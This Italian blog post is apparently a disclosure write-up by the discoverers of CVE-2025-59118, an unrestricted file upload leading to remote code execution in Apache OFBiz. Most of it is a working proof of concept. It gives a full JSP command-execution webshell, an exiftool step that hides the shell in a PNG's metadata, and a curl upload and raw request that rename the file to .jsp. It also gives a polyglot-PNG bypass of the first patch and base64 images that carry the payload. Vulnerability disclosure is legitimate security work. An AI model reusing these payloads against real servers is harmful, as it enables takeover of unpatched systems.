CVE-2025-59118 - POC dagli autori

Oggi analizzeremo nel dettaglio CVE-2025-59118, la CVE critica che colpisce Apache OfBiz e che abbiamo scoperto nel 2025.

Perché abbiamo scritto questo articolo?

Perché siamo stati felicissimi [/s] di vedere un sacco di articoli palesemente sbagliati su questa CVE, che vantavano prove di concetto (POC) ERRATE e allucinate dall’IA, aggiungendo caos e false informazioni su questa vulnerabilità. Dovevamo fare qualcosa.

noltre, la CVE è critica. Il vettore CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L, che le assegna una gravità ALTA di 7.3, è sbagliato.
Il vettore corretto dovrebbe essere CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, che le assegna una gravità CRITICA di 9.9.
Questo perché:

• I Privilegi Richiesti (Required Privileges) sono BASSI (LOW), non NESSUNO (NONE): è necessario utilizzare un utente con privilegi bassi;
• L’Ambito (Scope) cambia, perché a quel punto è possibile accedere al Sistema Operativo sottostante;
• La Riservatezza, l’Integrità e la Disponibilità (Confidentiality, Integrity and Availability) dovrebbero essere ALTE (HIGH), perché, insomma, si tratta di una RCE (Esecuzione di Codice in Remoto).

Che cos’è CVE-2025-59118?

La CVE-2025-59118 è un’Esecuzione di Codice in Remoto (RCE) tramite caricamento arbitrario di file (Unrestricted File Upload) in Apache ofBiz < 24.09.03.
Come l’abbiamo trovata? Guardando il codice sorgente su GitHub senza l’aiuto dell’IA, come ai vecchi tempi.

The Timeline

• Prima segnalazione da parte nostra: 29 agosto 2025
• Prima risposta dagli sviluppatori: 3 settembre 2025
• Vulnerabilità confermata e numero CVE riservato: 9 settembre 2025
• Prima patch dagli sviluppatori: 10 settembre 2025
• Bypass della prima patch da parte nostra: 11 settembre 2025
• Seconda patch dagli sviluppatori: 19 settembre 2025

La vulnerabilità (primo POC)

La vulnerabilità si trova in /catalog/control/addImageForProduct, che può essere utilizzata da qualsiasi utente autenticato con almeno i seguenti permessi:

• CATALOG_CREATE
• CONTENTMGR_CREATE
• CONTENTMGR_UPDATE

Un attaccante può navigare in quella pagina e caricare una o più immagini:

L’applicazione in questo caso convalida solo il tipo MIME dichiarato per il file caricato (è necessario image/png o simili) e non applica restrizioni sull’estensione del file.

La limitazione? L’immagine DEVE essere valida, altrimenti il caricamento fallirà.

C’è però un trucco: in alcune circostanze, le immagini valide possono essere anche file JSP validi (li chiamano file poliglotta). Come? Beh, è a questo che servono i metadati delle immagini!

Incorporando una webshell JSP all’interno del campo Exif extcomment di un’immagine valida caricata, l’attaccante può bypassare il controllo.

Supponiamo di utilizzare la seguente immagine codificata in base64, warningcurl.png, come immagine valida di partenza:

iVBORw0KGgoAAAANSUhEUgAAAOoAAADYCAMAAADS+I/aAAAAyVBMVEX/////zAAAAAD/zwDd3d3U1NRfX1/YrAD/1AD/0QD/0AD/0wD/1gD6+
vrv7+/19fWrq6vExMSjo6PLy8vo6Ohqamqurq4mJibw8PC6urpTU1OTk5OEhITh4eHmuAB0dHRBQUGHh4ebm5tLS0siIiI1NTUbGxtzXAD3xg
B6enpubm4uLi7PpQCMcAC+mAAPDw9NPgCvjAClhABqVQA/MgCYegCPcgCAZwBSQgDDnAAYEwAwJgDrvAAmHgBlUQBcSQAjHAA4LQAQDAD+JnW
TAAAMvElEQVR4nO2dZ3ubPBSGDc6wDdmr2Ymb2eykeTPadP3/H/WiCZKOQAKBIBf3l6QxcXUsIR09OjwZDHp6enp6enp6enp6enqsmd2eHq+u
fPHdjNqZ3Qgpp8u+21Ir61/DLNu+21Mf2zjAjdXtlc3jE/TtnO8W1cUyio4P21nUw0cem1MjK0loOwuZH6DQd7w1p0aW0NhF3ywu713urqHv1
rK9/InYIMN1gU7BZyjYzeSbJc/tcs9sEtVi0qXp/Iv6cycMD323zDmnYXicfDnLrDVJv64nX2Z8N80xaKgmX3aFdTX5wd7nm4VJwrAoRBpO+Q
ufiOMkEUy+zImhoilpmfTupwH15iyZmgTQ4nMVhru+2+eQOR4V5v6WxTpD4v8825w1MlY3WYDz8Q+2vRnwz+FzsMVnIMxTPJzPbG7o6P4ULPN
1hXARBPGvzIKTrEBXvtvohgXSeessuOcoCIYX7F9oSkq+bPpupRMuSZawQ2P7Nw4SomcW6yLZx/pupQtQb+6TqQnzNkGhBkP2b7Q9p1lj10l2
4JeDNPm9j3GkwZgvOMmUNJN8Wffd0MqgDXmyH19lgR0MSahB/J3+ZCu56ttn2KTfheEqmZowLyMaaZAuOMtk377mu6kVmSab8AGemvhCw4jP2
Q8X8HUnvttaDdpb+yyoxygNNeALzt4A9363tZdDcg8e0Zj+ZCMNokcW6zq/pzvLTBoG5nqSDTUYv9Ofo4+DztRd5YgMThbp71iINJi8sVdWyC
Df993g0tAsaMoC+jkUQw3ie/oKnbq++m5xaUKc2y6xSG9GUqTB8IC9RhekFd9NLskuSQ/42ZscaMLoJbPgJGnGne82l+NLyJM+zMMYiDVgryI
5+Izsa7vHBk/lMT+U4YsXnAcW6z5XKzoHlfO3WSjz8pxEY/2grx8N8Ebvm+92l+CKb7sxv2Iw0mB4za7Y7qrYL8v5F3CnJgvOb3bJAOvFR54b
bk8oyvnPkSbSYPiTXbM76KTYL8v5uj5Fd+sNu+gLHwwdgt50XM6/BRcaBruqk2I/nUq3aAzfNXMSYcwXnFk+cXcGukAuFyw0jNFfeh0d810qf
CFpD1dZznM7Nau9bPIkqyPQZDYr5+cTP2UWnC6J/XSLwuX8R+1Cw+HaC5KDw+6I/XTjKcr5+XRU7KdyAldZ3ibFoQYTdjWakqh40X6oSHRH23
5fMCfRULnYv9YdsV8r5+fDxX4kB3dE7CdyPldZXsBtqkqqvXRG7J8STeyQNdws0EAV+898R1KELOc/FC80DL7g0Dt91XcsBXzLk/PpUJ2MxxP
gBk7F/v0uiP107uQqy7Uc0jCK5m8fHx+uL0bKGhQxsR+tyq0X+095voOR5fxgdMDV0PvbSPocBLGfHra3FprncJVFkvOHAZ968Oiel2bn+JW+
gjLoy3ZrLyHfm2BuxDt1fBBKPIu9ni4407aL/XRPopHzJ/NypMmqK8aaiv0tL7SUiyZFOT8tVcoi73rYz5HYf9JesX9OkvOlHvsOhSrljan2M
tNmsZ+WgKZFk0IQaT4vIu0GBLG/tYWWkpz/JHXqBxyq9IkIYv9i2E6xnyq4x6yposoyBOYkwot4t8pi/6nvuADCXDl//AzGiRAX1w6I/Xv89i
JImVD0GwxT7f4g+o+90FKxn8r5vGjyVspwRz+gKDGySCwXWrZN7Kdy/gltpSLnx++aQNUtgVBo2T6xX5bzFZVFs6qC18ZM7KepV7vE/kI5P+d
e/Slf22qxf5VvRgiqnB+dg2EilGsVsX/Ld3wpBnJ+Oq8qAEKFLPa3p9DykgsHmHeg8eNHOM5k1wroxKnYTyWNtmgvJnK+LgVOkmBIPeViPxWq
2iL2H4ly/isk56e5rcwTpCmm2guVH9sh9lNxb8oaB8r5xjkwhRdaIrH/sC1if8gFedJ0UM5PU1uZZ/CgTii0RO/dBu1lyj95AtRwhC5UuPQwG
GXF/tVWiP1Uzi8omkwmVV2ocrbMaJ/Yv8GPRDEfuoMLbRKsqOLss2mb2I96czFPzucDUpcEaw8lBbG/Ba4KRXJ+2vBfmlC1NSETvj61QuwvkP
Ozob5AcYZ5p5KC2O/dVSEU5fz/9EeMY10SrK8fSBeoKX8K1hu75kWTuiT4I+dUvUVivyzn5xVNanXg3AICdhUtWPSnvUgeCH/zall0STCYAvO
hkBX7fboq5Mv5cqiaJBhOgRmjlrgqbOXK+XKomiQYToHVD8irqwKdJzRyvgoc6kN+rVo7XBVC1QMhjxEcqi4FZt0qi/0+Ci33RA+EsKiSMP4D
hqrNJCmpKOWt0FLjgZDTq/dQpMV1ef5dFb7yk21McdGkJgkuLItWXBWaFvvRrmrJqmhSkwQXF1sKrgoexP4z0QPhvLhoUnPsWPyLgtjffKFls
ZyvhgomwfDzj1K3cu1l0LyrApXzYQ8EDXAS/GpSQyu4KoTNiv2H/KF/DCTnK8BJcG4KzBDE/ma1lwIPBE2oSi0aIj8FZoz/0cup2N9coeURN+
ggg9CoOj8Ak+D8FJjhTeyn50VT9t/rVRYRKNSCFJjhy1UhNJHzVcAk2OjJFG+uCrvcIolgFmjSM1CRVsGDgenn5MNVwcwDAWotlAQbPpoSpMO
fWnI1UWhp5IEAET0BoRrkHvS3s2J/M4WWhh4IUGOhJNj4t4OIbQKPBg2J/admHggAYBJs/uuTpl0VZA8E04UGtfVBjfSv8fCXCi0bEPtDsWgy
R85XQwWS4FeL3xfE/voLLS08ENSmAknwuUWowYi7KizVX2hpI+eroQJJ8I1NqI26Kkhyfr4HggLwnIJZCsxQXBXqE/sVS2Ob8ZsRxFIMU2CGb
KFcn/ZyIloaF3kgyABJ8Jvlh9WU2A9YGtuFqibBluOiKbFfLposkvPVUF+VUM1TYMKwGVcF0NLYBiAJth0Yzbgq0KJJczlfbaaaBNsOjGbEfo
2lsQVAEmyRF7I3qd9VoaQHQhY1CbZJgRn1WyhrLY0tQn2TQ/1tP4Drt1CeSpbG9k2EagSsUmBGza4KuZbGxqEqSbBlCkyRLZTdFloaeCDYtJF
hlwIzarVQLiXnq4z+SaEWHZlrGNfoqlBgaWyK8gRKqU6t1UK50NLYFGkEG+uqMlzspyef7sT+sMjS2JSxoLkYHTiC1Cb253sgWDHKZBH3ZcdG
IBVauhP7qZyv8UCwJJpnyc5j6T7FsNY4dVWQPRCqNXEYHzy+nP/3NqzygWUtlB26KpSX83XBjqNoXPVNarFQNrQ0bpoaLJQVD4TK/eEI964Ko
amlcdM4d1WoIufXjGMLZcUDodq86RjWKidiv5WlcdM4tVC2tDRuGsFVoaLYb2lp3DQOXRWsLY0NW5jg5p2cWSiXsDQuZjIaHlxfz1/EsrVfKV
yJ/ZKl8buD2XccPNCt5vvNgYPbQXFVKBdpKUvjfEZCTfCvi+ofnhtXhVKWxnkML+THdd+q7ZICRxbKDuR8OdJ/ocxD5VgFC+WSrgphOUvjHKC
nzd+qjmEHFspTQw8EY2Ko7s7BAlZZ7K9gaQyjfaiz8mip6qogyflaDwRjYvjhKQdzQEVXhUJLY1vgyn2ETUGbJlZJ7LcrtDT2QDDFzm/JjkoW
yuYeCKaAxcCE6pl1FVeFMNfSuAz8T9aoVN8ZVrBQdijnMyx8DEtQ2lUh39K4ZGPgB3UdhSq6KliI/ZKcn+uBYIrmQV1E5dUmKG2hbOWBYIrWw
qX4yW0juKvC0cDCVSHf0rgkese78kePWRQLZRPtJd/SuDy6UC3rZHWUEftDOw8EU1KBWsKRzFRC7Lf1QDAG9KJ3M71jBAtlE+2lyNK4PGPwbq
2ubXBsCy13RA8El3J+DAzhd3dvb2uhXGhpXAU11g+nR5h2Fsr1yvmxNIbPXUnfBEXsz9NeSnggWDEOMh37Ou/6XMTCQrmMB4Il0fDt5vXHn+/
njz9j92dd5hbKBpbG1RlG0Wg0clD4AWAs9iPpzLGc3zSyq4JOUlsmWbKlB0KrEFwV1vRHc3P4Andyvg+4MLlF7lbN2krGNsseHMj5Hki1l1k8
98DSywJWxrmgFEyGXSRmG+MpHqDwHLyEE31mgnAz31HYxnUP70fheWkBD3C+qHad45xepfeq7ya6YhtvSDUy6Q7ev20Uv0snWMDSkeZkeRX3+
icZwXt47607gUTq0yDzNEKXQcvqYU4t3hw5o5z6bmd1ThfIWqKVg5HagtSnmbmit2o3Z3jevcstsJyGbM6ame0uOBlcuCqoFUBCYdv+glcp8I
FTfmEP2qveLfvykXbFGtZ2i6r5idhytzPXXci52klxsdbsFXSndw6zY8e1y+J3ajc7FladS/sznWW/XX8tsKenp6enp6enp6enfv4HVQ5HDuH
PhewAAAAASUVORK5CYII=

Ecco il comando exiftool per incorporare la webshell (dove warningcurl.png è l’immagine da usare):

exiftool -Comment='<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr = dis.readLine();}out.println("<script>document.body.innerHTML = ``;document.write(atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`));document.close();</script>");return;}%>' warningcurl.png

e il comando Curl per caricarla (sono necessari valori validi per JSESSIONID e productId):

curl -sk -b $'JSESSIONID=[SNIP]'-F "productId=[SNIP]" -F "[email protected];filename=warningcurl.jsp;type=image/png" https://localhost:8443/catalog/control/addImageForProduct

Questo è un esempio di richiesta (in formato RAW) che mostra come viene caricata l’immagine contenente la webshell (notate come abbiamo cambiato l’estensione da .png a .jsp):

POST /catalog/control/addImageForProduct HTTP/2 
Host: localhost:8443 
Cookie: JSESSIONID=[SNIP];
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDDW4l0NGJhqdkBnE 

------WebKitFormBoundaryDDW4l0NGJhqdkBnE 
Content-Disposition: form-data; name="productId" 
 
[SNIP]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE 
Content-Disposition: form-data; name="additionalImageOne"; filename="warningcurl.jsp" 
Content-Type: image/png 
 
[IMAGE CONTENT]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE--

Dopo il caricamento, la webshell sarà accessibile al seguente endpoint:

/images/products/management/[PRODUCT-ID]/warningcurl.jsp?cmd=id

Una volta caricato, il file della webshell diventa direttamente accessibile ed eseguibile senza richiedere l’autenticazione. Vi avvisiamo che le immagini PNG potrebbero contenere dati al loro interno che potrebbero corrompere la sintassi JSP.

Questa è l’immagine codificata in base64 “farcita” che abbiamo usato per questo POC:

iVBORw0KGgoAAAANSUhEUgAAAOoAAADYCAMAAADS+I/aAAAAyVBMVEX/////zAAAAAD/zwDd3d3U1NRfX1/YrAD/1AD/0QD/0AD/0wD/1gD6+
vrv7+/19fWrq6vExMSjo6PLy8vo6Ohqamqurq4mJibw8PC6urpTU1OTk5OEhITh4eHmuAB0dHRBQUGHh4ebm5tLS0siIiI1NTUbGxtzXAD3xg
B6enpubm4uLi7PpQCMcAC+mAAPDw9NPgCvjAClhABqVQA/MgCYegCPcgCAZwBSQgDDnAAYEwAwJgDrvAAmHgBlUQBcSQAjHAA4LQAQDAD+JnW
TAAACW3RFWHRDb21tZW50ADwlQCBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YS5pby4qIiU+PCVpZiAocmVxdWVzdC5nZXRQYXJhbWV0
ZXIoImNtZCIpICE9IG51bGwpIHtTdHJpbmcgYWxsPSJDb21tYW5kOiAiICsgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICsgIjxCUj4iO
1Byb2Nlc3MgcCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKTtPdXRwdXRTdHJlYW0gb3
MgPSBwLmdldE91dHB1dFN0cmVhbSgpO0lucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpO0RhdGFJbnB1dFN0cmVhbSBkaXMgPSB
uZXcgRGF0YUlucHV0U3RyZWFtKGluKTtTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpO3doaWxlICggZGlzciAhPSBudWxsICkge2FsbCs9
ZGlzcjtkaXNyID0gZGlzLnJlYWRMaW5lKCk7fW91dC5wcmludGxuKCI8c2NyaXB0PmRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gYGA7ZG9jd
W1lbnQud3JpdGUoYXRvYihgIitCYXNlNjQuZ2V0RW5jb2RlcigpLmVuY29kZVRvU3RyaW5nKGFsbC5nZXRCeXRlcygiVVRGLTgiKSkrImApKT
tkb2N1bWVudC5jbG9zZSgpOzwvc2NyaXB0PiIpO3JldHVybjt9JT5rHtKqAAAMvElEQVR4nO2dZ3ubPBSGDc6wDdmr2Ymb2eykeTPadP3/H/W
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

Il Bypass del primo fix

Gli sviluppatori di OfBiz (persone in gamba e molto cordiali, devo aggiungere) sono stati prontamente informati e hanno applicato subito una patch.

La patch in pratica ripuliva l’immagine da eventuali metadati dannosi che potevano trasportare payload malevoli, quindi il nostro primo payload non funzionava più.

Ma beh, i metadati non sono l’unico modo per iniettare un payload in un’immagine. Anche i dati dell’immagine STESSA sono un modo per ottenere lo stesso risultato, sebbene sia molto più difficile: bisogna essere dei veri ’l33t’ per farlo.

Come ci siamo riusciti? Abbiamo usato lo script Python tweetable-polyglot-png di DavidBuchanan314:

python3 pack.py warningcurl.png webshell.jsp warning_plusplus.png

dove warningcurl.png è l’immagine valida che abbiamo usato per costruire il primo POC, warning_plusplus.png è il risultato in output e webshell.jsp ha il seguente contenuto:

<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr =dis.readLine();}out.println("><script>document.body.innerHTML = atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`);</script>");return;}%>

Notate che non si tratta di una webshell standard, abbiamo dovuto cambiare un paio di caratteri per evitare errori di sintassi nell’immagine poliglotta risultante.

L’output dello script è un’immagine PNG poliglotta che è allo stesso tempo un’immagine PNG valida e un file JSP valido.

Diciamo solo che questo nuovo e arcano file funziona a meraviglia. Vi lasceremo fare una prova. Questa è l’immagine warning_plusplus.png codificata in base64:

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
